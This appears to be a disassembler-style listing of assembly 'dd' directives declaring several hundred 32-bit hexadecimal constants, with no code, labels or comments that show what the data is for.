		dd 0F0DA40E4h, 0BFB74E22h, 4155E42h, 0FFB1CFEEh, 246F868Eh
		dd 0D585CFBBh, 82DA5342h, 0E4F0D259h, 0C8C9606Eh, 0B27D9414h
		dd 6D8B394Ch, 0BE4EDEF6h, 0DF69D5B0h, 0DC28D7A9h, 0A07CB837h
		dd 0A80F9DE1h, 0CCFD629Eh, 0A817580Bh, 1D92A974h, 6FC3785h
		dd 9D550109h, 2A49BC7Bh, 0EC58059Ch, 0F22878h, 72A42444h
		dd 632C9EFBh, 0C5840A09h, 3FBDFB5h, 776783E3h, 729CB31Eh
		dd 0E4941A8h, 0FCB16A4Bh, 69D55351h, 19E0EB40h,	4F56744h
		dd 8C011AABh, 0BAA27BB1h, 9AA7E757h, 3B1A7349h,	468514A4h
		dd 0BDDDE171h, 19D58346h, 151FF393h, 3826DF79h,	0CE810952h
		dd 0E6FFC1EDh, 0E8C1627h, 0AD66FE8Ah, 0C740891Ah, 186AAF25h
		dd 0A6DD27D2h, 8F7A06BDh, 1DF6EDB0h, 0B57010CBh, 0E7DCDFB3h
		dd 0A5498885h, 0AED61CC9h, 64BC8548h, 9EC09EBDh, 0FF92AABCh
		dd 5BF95773h, 0B28C05FDh, 53EF3631h, 4E5272B2h,	66755331h
		dd 0CB50E0Fh, 82103469h, 5D10CE3Bh, 0F8557914h,	10D704C5h
		dd 0CDA0F866h, 0F96198D4h, 0B3DC0CD9h, 408DBCB4h, 0C50CE8B2h
		dd 70FF94BAh, 0D400F8EBh, 13970DCBh, 0CF7EA0CCh, 0A332AF8h
		dd 72C16E0Fh, 8C848B32h, 0F06C81D5h, 0A3FDD424h, 2254D88Bh
		dd 575EEE73h, 5800A5A0h, 41C15A6Bh, 18F1E42Bh, 0B4AD9A2Ch
		dd 0DA8DA02Fh, 0B2D43474h, 0CF79FDC2h, 0D321736Ah, 130AC84Dh
		dd 1940C67Fh, 86898A8Bh, 0B62E46C4h, 9DB18F9Fh,	0CFA06300h
		dd 77E6FC9Ah, 0BA031372h, 10D878C6h, 0DA8DB45Dh, 0E24BB3F8h
		dd 154D3238h, 51C22633h, 0EE550AAEh, 4748D861h,	28FAC013h
		dd 31101401h, 0B1D3BD7Eh, 105BA159h, 0C5D75318h, 0CBBE0019h
		dd 9F7DD29Fh, 0EB0F6672h, 1F804F54h, 0AEBAF512h, 0F367E993h
		dd 0A41E1885h, 939D2DEBh, 1E46E3F5h, 0EAAB3788h, 9C96DA7Dh
		dd 0C94E843h, 0F797D01Dh, 0DF17AC4Ah, 847C9F88h, 4A4375F3h
		dd 0E1EAE805h, 0E5722A6h, 0C32AF436h, 5300FC52h, 0B9FE1C30h
		dd 5F9F263Eh, 0D7F28138h, 8015E5C5h, 0A0878986h, 19EC0E9Dh
		dd 2AC33D24h, 632FB22Ch, 287FF102h, 7DA72050h, 0DE594BE6h
		dd 0F2F51402h, 0E34A82EBh, 3A6CD15Ch, 5FA4E94Eh, 2FEFA509h
		dd 95BFC3DFh, 0CA462AC0h, 45A954F7h, 144B9649h,	0FCAFD7AFh
		dd 0D9E6510Bh, 65307BFh, 8B4F45ABh, 0FE0EE90Dh,	0E59FB732h
		dd 0E52DCEC9h, 9557B7D0h, 19E895CBh, 627F5CDFh,	0B80A86D8h
		dd 73DD22AFh, 0A109B7B1h, 88D227D0h, 31B1A8B3h,	7EB1243Bh
		dd 16E85284h, 7153B6B6h, 80CE1DB1h, 8BAE2DADh, 9009C13Ch
		dd 58BF7BDFh, 0E2D63448h, 122DD963h, 968009CEh,	0FD1DC492h
		dd 8F35223Ch, 87237932h, 80BF2A0Ch, 0D1EDA93Dh,	0E15AB936h
		dd 2DA37AC2h, 87761675h, 2947BBE7h, 6118C7FFh, 0E422544Bh
		dd 9C932228h, 414C55B8h, 94CA63A6h, 35202786h, 5FD1D8B9h
		dd 0B7C31935h, 0E888AA70h, 9F22C677h, 373E3B7Ah, 657C9BB7h
		dd 8662F1F0h, 0D69062A9h, 0EA844F1Eh, 0F459239Fh, 3E59133Eh
		dd 39924E6Bh, 0F08D278Ch, 50C3731Ch, 6DE2A7A2h,	5BF2879Bh
		dd 1B58DD11h, 2651677Ah, 722E6187h, 6D9E642Bh, 8C21173h
		dd 1505F41h, 792537B4h,	0D039C7CFh, 0DB83DDE2h,	0B55CA062h
		dd 110A36BBh, 7121CE2Eh, 6787F57Dh, 3C09CA3Fh, 10FC062Dh
		dd 0DFF3D124h, 0A1B333B3h, 0E0987A74h, 0F2EDA7FEh, 465592C9h
		dd 0C65846D1h, 30623CE4h, 0C70D96E7h, 7A990248h, 9928C081h
		dd 0F7D9AFA6h, 4100DD3Dh, 0D63B6CDCh, 10898044h, 662442E5h
		dd 476BBECBh, 0A521D6B0h, 4C996852h, 2B9717B8h,	4AF1A2D8h
		dd 0D3F16188h, 0C1198BE1h, 0F83F433Dh, 0D432B136h, 17ACF131h
		dd 0A06F375Fh, 6626281Eh, 1829736Fh, 23D63811h,	1183F14Ah
		dd 10B49ECDh, 8181332Eh, 0F374F5A0h, 0EEB0336h,	0ED956CA8h
		dd 0C55C083Ah, 401E2CB1h, 18E91300h, 2D519214h,	3B99866Eh
		dd 91CD0082h, 0DD0B7935h, 0F60C51EEh, 193CFFBBh, 0E62ECD92h
		dd 0FFFA4A0Bh, 201A667Ch, 57AEBB6h, 46DCCCE9h, 0FF96573Ch
		dd 0D1377B45h, 0EED768Dh, 0BDBE5318h, 514A179Eh, 527594FBh
		dd 66E4F617h, 2BF4BD04h, 6A5D5FF3h, 3A7E28F4h, 2DB93342h
		dd 0BFC01537h, 25EE1247h, 0BB1FAF6h, 0B7AF75EBh, 9219E767h
		dd 0E41E579Bh, 0D0096377h, 91A75B32h, 2F600DB6h, 14671CF1h
		dd 20B5D3DDh, 0E0AD47ACh, 959A0C4Dh, 9397A085h,	0EA2BBA4Ah
		dd 0C4E9AE1Ch, 32CE4B6Bh, 2F7F0DBEh, 91DC5273h,	34B35B78h
		dd 0AFA15497h, 297210Eh, 3F9CA249h, 0C34939D7h,	8DAABA0h
		dd 420D4515h, 1B4F86D9h, 0AE37E07h, 41628231h, 3ABBCB8Fh
		dd 2DF7680Ah, 759AD27Dh, 0C8E2D8FAh, 4C88AA80h,	0D4A64A8Ch
		dd 87EC5B65h, 0AD697660h, 7D4AE0D1h, 72C22C33h,	1364B0EEh
		dd 9BAF6A7Ah, 668F07E6h, 7AB434E8h, 770383EBh, 0C632662Ch
		dd 28439392h, 700B92CEh, 2B5EA2D9h, 0ACB25BA0h,	0A33CB359h
		dd 0DCE7DA10h, 110241C2h, 27036CA0h, 0A7A590F1h, 7C49C301h
		dd 0D3D6A927h, 0E3F2FFE7h, 0FAFE545Ah, 85348F7Dh, 5BCAD763h
		dd 23441852h, 91BD3A56h, 0D1E03468h, 7EAEB65Bh,	864E7052h
		dd 67C4012h, 4A280533h,	0E23A1E7Ah, 0FCE12186h,	0E06F3760h
		dd 0E3C030E1h, 9E2F5AECh, 19C4D40h, 4507215Ah, 1CF45358h
		dd 87225FD0h, 1143F810h, 161F84A5h, 85AF84A1h, 0ABC48742h
		dd 8E880D04h, 0C7788F18h
		dd 4A7C92A9h, 0B1822806h, 9701ADE2h, 8D40084Ah,	0F494990Ah
		dd 0E29850AAh, 4C4399ECh, 1BC7E599h, 7F676028h,	0AFD32DDCh
		dd 0E1C07009h, 1FEAF937h, 709795E1h, 9899FCF4h,	0C2B9A952h
		dd 4FDDE02Bh, 9DD0A414h, 39F8B966h, 0B9E17578h,	19D44AAh
		dd 0CA8E7C6Ch, 276F66A7h, 0A46C70C3h, 8701312Dh, 98FC9F66h
		dd 0BDD7F719h, 5C8EADE1h, 963325B6h, 0CD736B2Fh, 6C10A7A0h
		dd 0DA601CF5h, 72E03037h, 6AD2735h, 0FE9A6A82h,	4EEAABD0h
		dd 0BB33CA2Ah, 3A2A39FBh, 5A1D8BA8h, 0ED97100Ah, 0BF132226h
		dd 0F657BD3Eh, 40610B9Ch, 19AE7F72h, 0A523151Dh, 0A423CFFDh
		dd 24EDD1C1h, 558FCC24h, 0E4204BDh, 74478E5Bh, 73F373DAh
		dd 0D084C1F7h, 986E1F30h, 513E761h, 8C5639E6h, 2E7F523Ch
		dd 0A50B34E9h, 495DFDC2h, 7BC711B1h, 0FF05EA4Ch, 0F22402FBh
		dd 0AF6E397Eh, 1FE7FC01h, 0E32DAE67h, 0EAFE73D7h, 165B1D34h
		dd 0E01058A0h, 41085A10h, 688182A1h, 0CFE53EB6h, 986DA7D2h
		dd 9617B942h, 0E2321362h, 45B9F9B5h, 11215ADDh,	50A66AEh
		dd 202B9E96h, 8C824C9Ch, 3C06A2D2h, 0E7E3339Fh,	7C0B8E06h
		dd 95894AF8h, 95C8C1FFh, 33628AD5h, 1EB4D5F0h, 1783EA59h
		dd 90445643h, 3B5230FCh, 29C019B2h, 4C698A6Eh, 2715620h
		dd 0FEBE098h, 0EFA29A09h, 0AD0FBD31h, 7E927022h, 0A4C236A8h
		dd 4A8158F9h, 6E96656Eh, 0D0A9A6D3h, 0AEB25120h, 990DCAD4h
		dd 0F97B345Ch, 6E5C60Dh, 0D0420707h, 0A3947AF7h, 4B759A88h
		dd 7CF46086h, 0C233B210h, 65C8060Eh, 97080628h,	0D3D5DD70h
		dd 512900CBh, 59EC41AEh, 5E98A8D0h, 13372104h, 0CC0F0DDDh
		dd 6316A041h, 12B474BCh, 4F228EC1h, 865AFCC2h, 0E8B98257h
		dd 785CBBD9h, 0DC07676Dh, 0D2F393B0h, 5619444Dh, 31D3E11Ch
		dd 0EB8B2DFCh, 74E3B97Bh, 28E342ACh, 27C9913Eh,	0DDEF137Ch
		dd 0F563DC96h, 0DD6F0631h, 0ED8132C6h, 0FE94D4D7h, 8BCDE086h
		dd 582F6341h, 7AFF4144h, 0C53B704Eh, 52E813C7h,	4E3F5267h
		dd 0C90331B9h, 0DD3CC175h, 812C816Eh, 9E16DCA8h, 45345169h
		dd 0DBBE3AA3h, 2A0C0983h, 0FC72DD64h, 8F6D60D5h, 2DBA63B9h
		dd 0B62B0546h, 7BCF6ADCh, 0D9DC3CE7h, 0C2E3B6E2h, 7C90FCC7h
		dd 0AAAE697Ah, 5795114Fh, 653E0806h, 1B607D9Ch,	1CAF09FCh
		dd 783256DDh, 1BA08D41h, 0AE794527h, 4FB37D9Bh,	0BB7DB67Dh
		dd 7DAA946Fh, 0F3DBE7D8h, 0AC340A38h, 1F8FA2AAh, 8CDEC278h
		dd 9ADB8B7h, 5929CB0Bh,	0B7D34C51h, 3D2E2734h, 9B1DFFE9h
		dd 610D43F5h, 0B9E648D4h, 0B519622Dh, 9E4739F1h, 76D48A67h
		dd 876AD42Bh, 0EDCD5A5Ch, 2187E3D6h, 5FC949Dh, 0A96433EDh
		dd 0DBD0DEA9h, 0F1A721E1h, 9DB8102Bh, 0AD06CBE7h, 61D693F7h
		dd 0E3D06BEh, 10998542h, 1E27FEBFh, 93234B6Ah, 5EAB3EB2h
		dd 11B42BBBh, 0AA7C1D6Dh, 742AC3E7h, 0DCCE1BC0h, 426DF990h
		dd 1EDD24F2h, 0EF497790h, 0D0B8818Ch, 3341AC2h,	2579C88h
		dd 1006A689h, 0E7F6C288h, 2BE8F639h, 0E093C743h, 2CCE832Dh
		dd 72B3EEE6h, 0ABE1429Dh, 1ADAF74Bh, 2DAFDBF0h,	0DCFE9052h
		dd 0E5032DBDh, 0A19D34FDh, 0D57AD2Dh, 0F2D652FFh, 312824EDh
		dd 0B181F71h, 533CBD3Ah, 5E5D15B7h, 0B4ACEB4Ch,	72D3153Ch
		dd 7CFA9692h, 8A39C33h,	0CB9275F2h, 0F7F99EDDh,	0BBF9E496h
		dd 0AB8FAF22h, 40B886CFh, 1E6DDAAFh, 7CFA182Fh,	8800AE82h
		dd 8A00C79Bh, 166C9887h, 0DF0F7F49h, 0F8E9692Fh, 0DA62465Dh
		dd 99E9E4CAh, 4AC4FA5Ch, 0BC6B5418h, 55AAE2F8h,	0E939A464h
		dd 83A7643Eh, 73BFEDC5h, 920F03E1h, 83A3C4F0h, 3A7503ABh
		dd 4452F7BBh, 0C91EE50h, 0C1D32413h, 5C72E2Dh, 88FA197Ch
		dd 0EAFDC54Ch, 0B10B55C6h, 0D095B89Ch, 477B272Dh, 0B2780DF0h
		dd 61FCA2C5h, 0E84A5860h, 96D20B82h, 11DA5658h,	6B2417E4h
		dd 27365E77h, 0A809FEC6h, 0E164896Dh, 3D09560Ah, 0B213D889h
		dd 0FEAA0287h, 28E1615Ah, 0A758AB3Ah, 655339D7h, 56574E4Fh
		dd 0D338E75Fh, 0ED6A29E3h, 32E78F83h, 6DA84382h, 8CA9A6E9h
		dd 0DAEE31B4h, 0A2C99CCBh, 6699D765h, 52D66326h, 741E14E9h
		dd 93F49AF5h, 0EA18E312h, 1E2ADA7Ah, 0AF449697h, 0CF81B19Eh
		dd 0AA69ACC5h, 9A1D094Bh, 72AAF9A2h, 0F2838DC7h, 6A8978E2h
		dd 7BE2763Ch, 9E3FC7A3h, 3CAB6988h, 9A93C0DEh, 0F3CE4F3Fh
		dd 64404C65h, 0B4134B45h, 9661E515h, 9FF04BF5h,	8A0B2C4h
		dd 301B9CC2h, 6EC1E9DDh, 0C7361E1h, 4FCB6200h, 95BFD47Eh
		dd 0FD34F033h, 0B615C7D4h, 683FA33Bh, 0EE1410F7h, 89AB1919h
		dd 0AAE0C646h, 9A807805h, 0D24B61FCh, 0A7173E97h, 72E038D2h
		dd 222EC043h, 5ADF1A6Fh, 348791BEh, 6F04D685h, 6631D441h
		dd 0FFDFD483h, 0F4D64991h, 47A9F998h, 1DF21AB9h, 329CA741h
		dd 130D152Ch, 0C788AFDAh, 0E8307A2Dh, 0D32DD577h, 0D7ED9F81h
		dd 5874A0B5h, 60EEF631h, 60AEC49h, 913C17h, 92A4BF06h
		dd 0C32E7E18h, 0F3DF85C9h, 0D9BC4555h, 0B9D17D63h, 0DD6690CEh
		dd 0A74EDB58h, 0B576A511h, 75AC8C20h, 0EE70A7CAh, 4F2DB39Eh
		dd 85745A32h, 8B02B13Fh, 2E14EEF7h, 524D00A4h, 0E58FD41h
		dd 519EB3D4h, 45F78B57h, 451BECE5h, 0A1706526h,	2C4E8357h
		dd 46EF1B99h, 6C2657F2h, 8447CEA1h, 9EA227F9h, 4833CB4Fh
		dd 294B76A7h, 0F9D5D71Fh, 72AC54D8h, 6BBB2D95h,	0F0D8498Ah
		dd 492448F0h, 0A18F4064h, 0C732D58Fh, 0BE477147h, 840B66DDh
		dd 3ED6D39h, 4757A2F2h,	8251E60Dh, 6B523379h, 56964D96h
		dd 91B9A6F9h, 74806AACh, 2C125EC1h, 0E362611Ch,	54F115CCh
		dd 0BFE02074h, 5FC5D3B5h, 79589A8Eh, 0E9202F46h, 0ECB7503Bh
		dd 7534DEC7h, 0A6DC55D3h, 7FB1A88h, 393A32EBh, 64B63BEEh
		dd 8EEDDF3Ah, 0E5680A9Eh, 5D7B4154h, 1629BDBBh,	3683A42Fh
		dd 94D5E0B8h, 66A9E729h, 10954790h, 3438782Eh, 917496Ah
		dd 164024B4h, 92C3C364h, 96707136h, 2C82A57Ch, 0A6CFA705h
		dd 0CA764238h, 41A723E0h, 3DC0CBC5h, 2A091D68h,	67F96003h
		dd 0F04BACCh, 73C5141h,	0F434AB53h, 3359277Fh, 42D38EBBh
		dd 81FFF8E2h, 1147BBAh,	630F8DA3h, 0EEA063EDh, 75A6B9B3h
		dd 0D2627B70h, 0E0FD5214h, 0BE7AFF54h, 31ABEA79h, 8FA28059h
		dd 82AA4461h, 1F0D7161h, 0DAC7F974h, 0CC6E73E9h, 52F52D27h
		dd 464F383Eh, 16EF79CDh, 6C6A707h, 0EF0B9294h, 11472E9Fh
		dd 887B6B8Fh, 0B5BE68DEh, 5059601Bh, 0D24160AEh, 0B0CAE194h
		dd 38F1D56Bh, 0D270D451h, 7278970Dh, 4FB9309Eh,	0E99A462Eh
		dd 7562600Bh, 0D032C34Bh, 0A1470603h, 3EDE37C7h, 6A8A1D30h
		dd 35ECDA3h, 0DE553A43h, 0E5647289h, 3B0AFB73h,	0C44A328h
		dd 0B34DA704h, 98702E53h, 88670DC8h, 0E4F50D09h, 2890DE9h
		dd 0FEF835F2h, 0F115E708h, 96CEF462h, 0F301C3Fh, 0A6AADF16h
		dd 0AA5429BEh, 0FE34B140h, 8DCCEE53h, 97EB9E35h, 1CE921E1h
		dd 0B4A671BAh, 0C632D3D2h, 0E9F5CDD2h, 180A6FC8h, 0F645EA87h
		dd 6A761852h, 5E255D8Ch, 4F72A011h, 0EC59C6E2h,	0C2D12D94h
		dd 8D110FC0h, 34A45E98h, 5AE4CEE3h, 0D700C88Ah,	0A540A6D9h
		dd 0C54C1B9Ah, 209153F6h, 0AF0692F2h, 0D9334D1Fh, 8608967Ch
		dd 5610338Eh, 0BB5FFB21h, 176FE19Bh, 0DF6500CFh, 20CE5527h
		dd 81525EEEh, 97971715h, 0E91D9400h, 432D4666h,	0CC79FECFh
		dd 0CAAA370Dh, 68B6A81Ch, 44B74E17h, 2312D445h,	2673778Bh
		dd 0F6A30AB8h, 0D1E50DA3h
		dd 0D130D760h, 50EFB228h, 0E16F6643h, 54CAD367h, 867C8AC2h
		dd 0FFDD84Bh, 90C82E9Fh, 20B6FC09h, 3DE515DAh, 0EABAA36Fh
		dd 1FF2C9BCh, 1C213FECh, 286BF7DBh, 0D7084349h,	93A63AF2h
		dd 0DC628F1h, 7E3E81E5h, 0E8B97FF1h, 46BFCDDDh,	3C0B9BE1h
		dd 0C8759525h, 6522D23Ah, 0CE7EF49Bh, 0C009A1D2h, 0BA9AE25h
		dd 0B76FD700h, 0C55D38E7h, 0D316E1B0h, 0FBEE37CFh, 0B30C04A2h
		dd 1918BC60h, 3E0551DDh, 0D0A9D86Fh, 0F2965BE2h, 45116E33h
		dd 377B5DF1h, 7ED9BDC0h, 0DD6FA062h, 9FFB208Ch,	4FD06728h
		dd 0C231CBBFh, 42A3BD6Dh, 0CF13F5DAh, 63CA0339h, 0A4E4AD9Dh
		dd 0B1129661h, 636FAAE9h, 9A44B473h, 15BE7536h,	34EEF8C2h
		dd 0C04B90Ah, 0D3002DFh, 4987EF0Bh, 6431C4E8h, 4E894F6Bh
		dd 6D684998h, 70112A07h, 0B64246DDh, 0FF5EA602h, 69E11D59h
		dd 33D0A526h, 20D16DA9h, 371AC7ACh, 89DE8D92h, 658E3CC6h
		dd 8F0CEF46h, 3AB40FDCh, 5D40D755h, 54D8B848h, 50DF37A2h
		dd 45E70A45h, 0ABF85EB3h, 0F8B738Dh, 0E08EDBAFh, 0E3C75A64h
		dd 0C32B4066h, 0FBCCED6Fh, 399E9E6Dh, 17C3DB4Ch, 1318B5BCh
		dd 5766555h, 2A7F5003h,	6AF484A1h, 12770B12h, 4713967Dh
		dd 0AA60E457h, 0B05C71B2h, 0E650E64Ch, 34BA1A89h, 0AFE3875Bh
		dd 0DE870084h, 39BD984Dh, 33F7EC28h, 4F7ACA57h,	3C8D739Ch
		dd 1456D964h, 3C124509h, 9B5AD7FFh, 1197D0DBh, 0D79FF620h
		dd 291827F2h, 0FE5B37AAh, 465D4FC9h, 88C272AFh,	0C2F41A89h
		dd 0BD02C59Eh, 0F5C8836Fh, 0D56CA7E8h, 0EB935CAFh, 0F07246BEh
		dd 5A0E90E2h, 9B7CF399h, 0DAB1A6CAh, 8C7386C5h,	53B98D4Eh
		dd 56D4B05Eh, 891A25A4h, 6BB7352Fh, 36D685D5h, 51EEB53Dh
		dd 0BD15D0A7h, 0E964F88Fh, 851FE4B7h, 951F7FA9h, 0FE339E3Ch
		dd 4E1DD014h, 6B76B581h, 0BB4BFE7Bh, 0AF5020FDh, 14517C91h
		dd 1E3526BEh, 4B46C7BDh, 1AAE810Eh, 2B1FC82Ch, 0B9B0B83Eh
		dd 0DD9F0905h, 0DCF92DA9h, 1FBBA8E5h, 0A1621847h, 65CDF31Fh
		dd 0B25734EAh, 207FF498h, 9F70408h, 0E0225FDEh,	6FA63556h
		dd 0E4257599h, 505A3398h, 0A3CA4412h, 0F9A17957h, 367FB860h
		dd 0D95B1312h, 5E5EF23Bh, 0CF208721h, 0E3D58B1Dh, 9EFA2F7Eh
		dd 13384531h, 21163678h, 3C24B670h, 85F0E0CDh, 2AE1120Fh
		dd 0B52B300Bh, 0E8A16572h, 2E6D44F2h, 577471C6h, 0E9CF6A81h
		dd 0A9CD114Ah, 0A2A1EB7Ch, 96E82828h, 0FB7D87BCh, 951D8A90h
		dd 0E5D674B9h, 0EB748D29h, 7E85469Bh, 11A69109h, 0BFA6D7B3h
		dd 9FD0783Ah, 212729A5h, 0A5AE0CAEh, 11BBBBBCh,	635C3E0h
		dd 3CCDD9C1h, 0BB4B59B3h, 0FF900ACh, 0E69AFFA4h, 33B96ACh
		dd 0D4110AF2h, 938A95DAh, 0B35FD937h, 717CCCA3h, 223382F8h
		dd 0B0A976BBh, 473C745h, 0CC73CBB7h, 75136534h,	81A5C864h
		dd 74BA408Ch, 0BF46CA39h, 31BB410Eh, 0F6DA8C91h, 4DAC0E1Ah
		dd 49B00D4h, 0C089902Dh, 959B5117h, 0C7411D80h,	0F2DBEDBDh
		dd 0A10032EAh, 0C1928BD2h, 57138E70h, 99CB893Ah, 0E06AD178h
		dd 0F9202D1Ch, 91F6363Dh, 0F99F098Ch, 8CF32A17h, 47986DCBh
		dd 0B01FC34h, 0B37259DCh, 3C354948h, 0EAD44095h, 0B4441FB4h
		dd 7AC220A2h, 602C0B49h, 508424F6h, 1814C253h, 900D8A79h
		dd 0C567B5F3h, 56DD95BFh, 0DE635F59h, 5049B2B9h, 60E0400Dh
		dd 0EF97FDA0h, 43FD248Bh, 958B901Ch, 0AEC59835h, 831C3C9Dh
		dd 0A7F5E8C4h, 20989453h, 0C84D220Ah, 6A8D81BBh, 630F77B1h
		dd 2016F5CBh, 0B143AB7Ah, 55EE567Fh, 4DC6E924h,	0A7C5BB79h
		dd 43C8E720h, 9DA6A986h, 277EBFE5h, 0A7AA9493h,	0F96903D9h
		dd 0D1CD3CB4h, 0A35D7025h, 459F102Eh, 0F9BE6F68h, 974912F4h
		dd 0BD6D89CDh, 361CDBBFh, 0FC289D90h, 0CDB158Ch, 0C632D4E9h
		dd 9C33A626h, 87F3FE04h, 0A544038Bh, 0F545DF38h, 0D53DFABBh
		dd 8C4122C6h, 5EA81125h, 0C12BCCC4h, 0CD690843h, 0C1AD746Fh
		dd 0E7D7AE98h, 2E298059h, 7EF6AA84h, 83D004C4h,	0D423BE54h
		dd 62CDBA8Fh, 1E6455DFh, 0AA819F0Dh, 0C4B3037Fh, 37EAA364h
		dd 59A25D72h, 7BB8EDB8h, 797955A5h, 4E04D298h, 0BF76D6C0h
		dd 96FC95EEh, 6386A0CCh, 0D68BD7ADh, 922317Dh, 41CD72C1h
		dd 931BF320h, 20BCA011h, 0A45B85E8h, 0D0F560C3h, 3C106E67h
		dd 67B476B6h, 1B250CABh, 0DC2CCF14h, 0D8241ABAh, 5D6BD55Fh
		dd 0A1D847A4h, 0E326BBA2h, 47E5CFB3h, 706DF0B6h, 1657604Bh
		dd 2C4B22A4h, 55F62BC9h, 0F7A0B573h, 1A6CCA7h, 0F16F4E4Bh
		dd 3A0B8B08h, 0DEB081E5h, 23023D72h, 0F25A50F3h, 625C0FFh
		dd 3E7C8599h, 0AD47D48Bh, 0FEE90464h, 8F37BD88h, 69148CB8h
		dd 0F71772Fh, 2BA72622h, 573BC163h, 6BFDB5Bh, 3A3F928Ah
		dd 2EF062D2h, 0E1BEF584h, 6E89C83Eh, 941D7C42h,	0B014CF62h
		dd 0D6B01995h, 0DE793394h, 0CEFFF5B0h, 0C11FC104h, 0D37B5359h
		dd 2BA9DB07h, 82FE0358h, 70829794h, 2F2F5193h, 0D574F261h
		dd 2FDB0836h, 0F1775F0Ch, 49D553B8h, 955DD5D8h,	18F6C42h
		dd 0DCF60805h, 0FE81AEC9h, 3566B1EEh, 4BB57552h, 7CA12A2Fh
		dd 1A22B7AFh, 99DCF1EBh, 56E3CCCBh, 0AC296963h,	917E4D5Bh
		dd 0BD9F7C84h, 0D73F6110h, 3D798F51h, 0F64FD1D7h, 42FA256Ah
		dd 730F6BC6h, 524C011Eh, 0C320C6D4h, 15ECCE3Ah,	0BD168F83h
		dd 0A4C15B81h, 3F2618E1h, 98250D85h, 0C798A239h, 3EF0A11Fh
		dd 0DEE6BAE5h, 0E64AFDB3h, 39829CDFh, 96BDAECh,	8FD2BE47h
		dd 46AFD128h, 2A9C7B9Ah, 497F7B62h, 160EF7A6h, 0B5458921h
		dd 0DCA2E5AAh, 8A686157h, 5EECB6F7h, 4155C637h,	73D3E3ABh
		dd 796EF4D8h, 5DA67DE1h, 7B805A1Eh, 478278D0h, 2F04CA0h
		dd 0BF85734Fh, 997302F4h, 0EB558A5h, 85E49C17h,	0FB798005h
		dd 0C1B0D873h, 59517832h, 0CEC69F43h, 0E18A038Ah, 0DF5AD19Eh
		dd 5155A382h, 0BAB14522h, 0F9ED8966h, 2FF6CBB7h, 3682A715h
		dd 1EB5E43Dh, 823594C3h, 219FB28Fh, 26ECDF76h, 346E54F1h
		dd 94F575D0h, 8F4288D5h, 0DF969A4Ah, 0EB5C62C1h, 17683C6Ch
		dd 510EE253h, 0FB43BBDBh, 0F5672D0Eh, 7925E3F2h, 0AE7A191Ah
		dd 0E9FF00F2h, 0FDB9A3F6h, 69876B85h, 1BB1872Fh, 0E827AF39h
		dd 4A1B4EA2h, 84AF9C90h, 1E1BD6DAh, 51760084h, 0BD61A66Ah
		dd 29057E1Dh, 7D962F6Bh, 0DCEC0773h, 0FBA7930Fh, 0A25B201Bh
		dd 0C669C1E4h, 0A4DB3AC3h, 1832F9AAh, 830661F5h, 6DBD1823h
		dd 0B29DFEFAh, 6B0AD6CFh, 3F186812h, 0FDF57173h, 0E99F537Eh
		dd 4B236D20h, 258ABF7Bh, 0F65E3E1Bh, 0D422B4CCh, 0E7AE3440h
		dd 143DC5h, 3155817Bh, 95EA3A60h, 0DD27436Ch, 0ABD7AC6h
		dd 4D369732h, 0A1077BADh, 5918D792h, 0C8EA39h, 1C70154h
		dd 0CCCD77CCh, 0E049FA61h, 0ECBFEA5Eh, 0B87389F0h, 7F0B7B22h
		dd 76A79F5Ah, 0BC76975Fh, 0D789D664h, 5F678938h, 10D4FB54h
		dd 8B7C042h, 0ED4140ECh, 0D72DB845h, 0F90D60DDh, 52ABDE01h
		dd 712407F2h, 6981CF70h, 0B9A43463h, 0E9CA9643h, 3A3E02D5h
		dd 4DF2A2E1h, 0C8D8AA54h, 3AD9D84Eh, 2F55BD51h,	6BD5DBA3h
		dd 0AFD93C91h, 0DB6D40E7h, 0FFBF37B2h, 918D420Eh, 6EB13A1Ch
		dd 531A244Dh, 69083635h, 0F5637852h, 0FC26326Ch, 0E34EED1Ch
		dd 0F36E349Eh, 0F1417C2h, 3EF8C92Ch, 817E1877h,	9E7AA9AAh
		dd 7E67E8E0h, 0A44FF808h, 9C4F48A6h, 0A7AE5A9Bh, 4912AC2Ah
		dd 0B41D423h, 2B2A04FEh, 2371843Ch, 0CAB74125h,	0BD8CC5A1h
		dd 0B60E64E9h, 492400F0h
		dd 0D5A94C54h, 76ACA48Dh, 77717E70h, 0FA6BD5D3h, 0ED6E8DEEh
		dd 0BEDE641h, 8D18367Dh, 69FEEFEh, 0CD55DDE1h, 5744584Fh
		dd 0A65198C6h, 0FD124807h, 1E1D77B0h, 0F0431B0Fh, 3D136B23h
		dd 30D7F5B9h, 46D03C7Bh, 0E917C8D8h, 10BA51A8h,	0FB5FCBCCh
		dd 0AC926609h, 1EA6AEECh, 0BFC7D17Fh, 4B396970h, 0FFFB4776h
		dd 504912FCh, 0C9DDCDE5h, 4848C0AEh, 56D1B841h,	0A73CF4C9h
		dd 391BF768h, 4E6685EDh, 0C3CF8918h, 0A2D36EFh,	0BA46EF42h
		dd 0A40B8F9Fh, 0FD0BE6E0h, 0C1B5215Bh, 68ACC245h, 0E4E5D7EDh
		dd 0C4E13468h, 0BED8BF7Fh, 6CCF2A44h, 135B7851h, 0D7780FC3h
		dd 5F11748h, 35F6F69Eh,	0BA9148B3h, 0BF934FF7h,	0EAA013AEh
		dd 5E406786h, 0AB0156EBh, 3DFBDC4Ch, 0B64457E4h, 780634A8h
		dd 0A49A1652h, 283F56ECh, 44E5FB06h, 0B143EF54h, 0E93FF311h
		dd 3AD70BC2h, 0F472F251h, 0EC380737h, 6E6676DAh, 5F0C87CBh
		dd 2F7A9DB0h, 0F0823CFCh, 0DC431D65h, 0F7AC3E14h, 1B92E18Bh
		dd 77515691h, 4118747Ah, 0E26BC397h, 525BB4A2h,	8AB210C0h
		dd 919A4FBBh, 0EEB55856h, 61A8C679h, 10563500h,	217E614Ah
		dd 0E017F64Dh, 2AF91CC5h, 58D812B1h, 6EA1C986h,	0CAD1BE69h
		dd 0D5EE436Ah, 0E48CC008h, 2C3D1937h, 7DEAE26Ah, 4DE1820h
		dd 651A361Ch, 0BD1B57Fh, 3BBA40B1h, 6806B49Fh, 2A3117D8h
		dd 0DB0093A6h, 65A1EA4Eh, 0DA3AF3D1h, 4D330602h, 5C4DC065h
		dd 0FCD1CA2Dh, 0E1AF372h, 0BEECD6EFh, 7D1204C6h, 5669EE44h
		dd 0EB14B614h, 3BF3E5BFh, 0BE9C9E8Fh, 2D5504E2h, 0F11DA8B8h
		dd 0FBB08D86h, 0EB103CF1h, 6556A60Ah, 73A8C26Fh, 0F5EEE2F8h
		dd 0B3B0F656h, 0AEC2402Ah, 27BEB6BDh, 8B4AF19Ch, 506F238Ah
		dd 9D4FEDB7h, 0BC024234h, 75C9375Ah, 40DACC4Ch,	0B1909467h
